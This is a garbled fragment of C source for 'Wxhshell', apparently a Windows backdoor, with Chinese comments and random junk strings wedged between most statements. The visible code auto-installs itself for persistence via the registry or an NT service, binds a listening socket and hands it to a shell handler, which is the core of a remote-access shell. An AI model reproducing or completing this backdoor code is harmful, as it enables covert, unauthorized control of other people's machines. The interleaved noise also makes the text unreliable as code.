=~: c4H5[LPF HMODULE hMod; 5~)m6]-6 char procName[255]; cXP*?N4Cf unsigned long cbNeeded; lAYyxG# P|c[EUT if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vw(X9xa E$!0h_.( CloseHandle(hProcess); XL
SYE
O.OPIQ=?:w if(strstr(procName,"services")) return 1; // 以服务启动 )> >Tj7 ?VUW.- return 0; // 注册表启动 b/^i } .%Pt[VQ D3,9X#B= // 主模块 ,gY bi-E int StartWxhshell(LPSTR lpCmdLine) ).IB{+ { N`o[iHUj \ SOCKET wsl; {DfXn1Cg0U BOOL val=TRUE; S:b-+w|* int port=0; d#l z^Ls2 struct sockaddr_in door; $Sg5xkV,a 9:[L
WT& if(wscfg.ws_autoins) Install(); f&5'1tG e$
pXnMx7 port=atoi(lpCmdLine); v2ab [yFf(>B if(port<=0) port=wscfg.ws_port; }wY6^JF '+8`3[' WSADATA data; I;u1mywd if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :9c[J$R4 3fdx&}v/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "~:AsZ"7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [9c|!w^F door.sin_family = AF_INET; G&7!3u door.sin_addr.s_addr = inet_addr("127.0.0.1"); S!Z2aFj door.sin_port = htons(port); vZ0K1UTEXY = ^NTHc^* if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V$OZC;4 closesocket(wsl); tV'>9YVdG return 1; Ja`xG{~Y7i } Pjvzefp R}T8cVxc if(listen(wsl,2) == INVALID_SOCKET) { 8(jUCD closesocket(wsl); 3 *g>kRMJ return 1; ZUg~8VVe } f$2DV:wuC Wxhshell(wsl); \jHHj\LLr. WSACleanup(); gS
VWv9+ x@aWvrL return 0; z\F#td{ r @)^|U" } O~udlVn<6 e]!`Cl-f80 // 以NT服务方式启动 $URL7hrhU VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OZSM2 ~ { _G62E$= DWORD status = 0; v9_7OMl/x DWORD specificError = 0xfffffff; *ydh.R<hb Yvn*evO4 serviceStatus.dwServiceType = SERVICE_WIN32; 4S7#B serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]iq2_{q serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xj#anr serviceStatus.dwWin32ExitCode = 0;
EjF2mkA* serviceStatus.dwServiceSpecificExitCode = 0; j=U^+jAn serviceStatus.dwCheckPoint = 0; <0h,{28 serviceStatus.dwWaitHint = 0; < |